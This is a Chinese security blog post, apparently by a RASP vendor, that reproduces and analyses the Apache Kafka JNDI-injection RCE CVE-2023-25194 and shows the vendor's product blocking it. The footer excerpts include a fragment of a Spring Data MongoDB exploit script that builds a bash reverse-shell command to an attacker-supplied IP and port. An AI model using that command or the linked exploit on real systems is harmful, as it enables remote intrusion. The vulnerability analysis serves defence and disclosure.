首页 > 其他分享 >【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)

时间:2023-06-12 15:08:06浏览次数:57  
标签:25194 producer clients kafka 代码执行 apache org CVE common

漏洞简介

Apache Kafka是一个分布式数据流处理平台,可以实时发布、订阅、存储和处理数据流。Kafka Connect是一种用于在kafka和其他系统之间可扩展、可靠的流式传输数据的工具。攻击者可以利用基于SASLJAAS 配置和SASL 协议的任意Kafka客户端,对Kafka Connect worker 创建或修改连接器时,通过构造特殊的配置,进行JNDI 注入来实现远程代码执行。

影响版本

2.4.0<=Apache kafka<=3.3.2

修复方案

更新Apache Kafka至官方最新版本


环境搭建

通过https://github.com/vulhub/vulhub搭建


漏洞复现

exp可参考:

https://github.com/projectdiscovery/nuclei-templates/blob/5d90e8275084b0ae9166ec38cacd22e5a5a94fb8/http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml


发起攻击请求:

构造payload ,执行新建/tmp/test.txt文件

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache

验证漏洞存在,文件新建成功

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_02

开启RASP后发起攻击:

在业务优先模式下,RASP会出现JNDI注入的告警,拦截最终的命令执行

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_03

堆栈信息为

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_04

在防护模式下将直接在JNDI注入处被拦截

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_05

堆栈信息为

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_06


漏洞分析

开始

org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties)

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_07

跟进到

org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Properties
org.apache.kafka.common.serialization.Serializer<K>,org.apache.kafka.common.serialization.Serializer<V>)

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_08

调用

org.apache.kafka.common.utils.Utils#propsToMap

对传入对象进行处理

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_09

将map型的对象传入

org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(java.util.Map<java.lang.String,java.lang.Object>
org.apache.kafka.common.serialization.Serializer<K>
org.apache.kafka.common.serialization.Serializer<V>)

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_10

之后调用

org.apache.kafka.clients.producer.ProducerConfig#appendSerializerToConfig

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_11

将返回的newConfigs传入

org.apache.kafka.clients.producer.ProducerConfig#ProducerConfig(java.util.Map<java.lang.String,java.lang.Object>)

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_12

将配置参数传入

org.apache.kafka.clients.producer.KafkaProducer#KafkaProducer(org.apache.kafka.clients.producer.ProducerConfig,org.apache.kafka.common.serialization.Serializer<K>
org.apache.kafka.common.serialization.Serializer<V>
org.apache.kafka.clients.producer.internals.ProducerMetadata,org.apache.kafka.clients.KafkaClient
org.apache.kafka.clients.producer.internals.ProducerInterceptors<K,V>
org.apache.kafka.common.utils.Time)

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_13

赋值后调用

org.apache.kafka.clients.producer.KafkaProducer#newSender

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_14

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_15

调用到

org.apache.kafka.clients.ClientUtils#createChannelBuilder

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_16

赋值后调用

org.apache.kafka.common.network.ChannelBuilders#clientChannelBuilder

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_17

这里对值做了一个判断后调用

org.apache.kafka.common.network.ChannelBuilders#create

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_18

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_19

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_漏洞_20

Create方法中得到map型的configs后进行switch,得到SaslChannelBuilder类型channelBuilder的对象,switch结束后调用了

org.apache.kafka.common.network.SaslChannelBuilder#configure

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_漏洞_21

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_漏洞_22

org.apache.kafka.common.network.SaslChannelBuilder#configure

进入循环后到

org.apache.kafka.common.security.authenticator.LoginManager#acquireLoginManager

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_23

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_24

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_25

判断值后到

org.apache.kafka.common.security.authenticator.LoginManager#LoginManager

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_漏洞_26

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_27

跟进到

org.apache.kafka.common.security.authenticator.AbstractLogin#login

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_28

调用

javax.security.auth.login.LoginContext#login

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_29

调用

javax.security.auth.login.LoginContext#invokePriv

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_30

调用

javax.security.auth.login.LoginContext#invoke

进行逻辑判断后调用initialize方法

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_31

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_java_32

Initialize中得到userProvider

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_33

user.provider.url通过jndi提供

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_apache_34

调用

com.sun.security.auth.module.JndiLoginModule#login

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_漏洞_35

调用

com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_36

通过

javax.naming.InitialContext#lookup(java.lang.String)

执行userProvider的值

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_kafka_37

【高危】 Apache Kafka 远程代码执行漏洞复现及攻击拦截 (CVE-2023-25194)_远程执行代码_38

由于RASP对javax.naming.InitialContext.lookup调用做了防护策略检测,所以会在此处拦截。


Reference



关于云鲨RASP

悬镜云鲨RASP助力企业构建应用安全保护体系、搭建应用安全研运闭环,将积极防御能力注入业务应用中,实现应用安全自免疫。

标签:25194,producer,clients,kafka,代码执行,apache,org,CVE,common
From: https://blog.51cto.com/u_16065006/6462573

相关文章

  • Docker runc容器逃逸漏洞(CVE-2021-30465)
    --原文件的名称并授权cd/tmpmvrunc.amd64runc&&chmod+xrunc--查看runc的位置whichrunc--将备份runc文件cd/usr/bincpruncrunc.bak--复制新的runc到usr/bincp/tmp/runc/usr/bin/systemctlstopdockersystemctlstartdocker......
  • JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)
    JQuery-XSS漏洞(CVE-2020-11022/CVE-2020-11023)详细描述据NVD描述:在大于或等于1.2且在3.5.0之前的jQuery版本中,即使执行了消毒(sanitize)处理,也仍会执行将来自不受信任来源的HTML传递给jQuery的DOM操作方法(即html()、.append()等),从而导致xss漏洞。受影响版本大于等于1.2,小于......
  • SCM Manager XSS漏洞复现(CVE-2023-33829)
    一、漏洞描述漏洞简述SCM-Manager是一款开源的版本库管理软件,同时支持subversion、mercurial、git的版本库管理。安装简单,功能较强,提供用户、用户组的权限管理,有丰富的插件支持。由于在MIT的许可下是开源的,因此它允许被用于商业用途,而且其代码可以在GitHub上获取到。该项目......
  • CVE-2023-2825-GitLab目录穿越poc
    GitlabCVE-2023-2825目录穿越漏洞前言昨天GitLab出了一个版本目录穿越漏洞(CVE-2023-2825),可以任意读取文件。当时我进行了黑盒测试并复现了该漏洞。“Anunauthenticatedmalicioususercanuseapathtraversalvulnerabilitytoreadarbitraryfilesontheserver......
  • Nginx:CVE-2021-23017;CVE-2022-41742
    nginx安全漏洞(CVE-2021-23017)详细描述Nginx是美国Nginx公司的一款轻量级Web服务器/反向代理服务器及电子邮件(IMAP/POP3)代理服务器。nginx存在安全漏洞,该漏洞源于一个离一错误在该漏洞允许远程攻击者可利用该漏洞在目标系统上执行任意代码。受影响版本0.6.18-1.20.0解决......
  • CVE-2023-33246学习
    1.参考学习CVE-2023-33246https://github.com/I5N0rth/CVE-2023-332462.本地搭建环境2.1下载镜像#dockerpullapache/rocketmq:4.9.1#dockerpullapacherocketmq/rocketmq-console:2.0.02.2启动broker、namesrv、console启动namesrvdockerrun-dit-p9876:987......
  • execve()系统调用和elf装载过程
    在进入execve()系统调用之后,Linux内核就开始进行真正的装配工作。在内核中,execve()系统调用相应的入口是sys_execve()。sys_execve()进行一些参数的检查复制之后,调用do_execve()。do_execve()会首先查找被执行的文件,如果找到文件,则读取文件的前128个字节。文件的前128个字节保存着......
  • 未授权访问漏洞检测工具(CVE-2023-29922)
    ===================================免责声明请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。工具来自网络,安全性自测,如有侵权请联系删除。0x01工具介绍PowerJob<=4.3.2......
  • 代码执行&&命令执行
    代码执行当应用在调用一些能将字符串转化成为代码的函数(比如php中的eval、assert等),没有考虑到用户能否控制这个字符。将会造成代码执行使用方法:<?phpeval($_GET['cmd']);?>访问:xx.php?x=phpinfo();注意,eval不属于函数而属于结构体,所以在构造回调函数得到后门时,eval函数无法......
  • CVE-2022-22980
    #CVE-2022-22980SpringDataMongoDBSpEL表达式注入importrequestsimporturllibimportbase64importargparsedefpoc(url,ip,prot):urll=f'{url}/?name='shell=f'/bin/bash-i>&/dev/tcp/{ip}/{prot}0>&1'shell=s......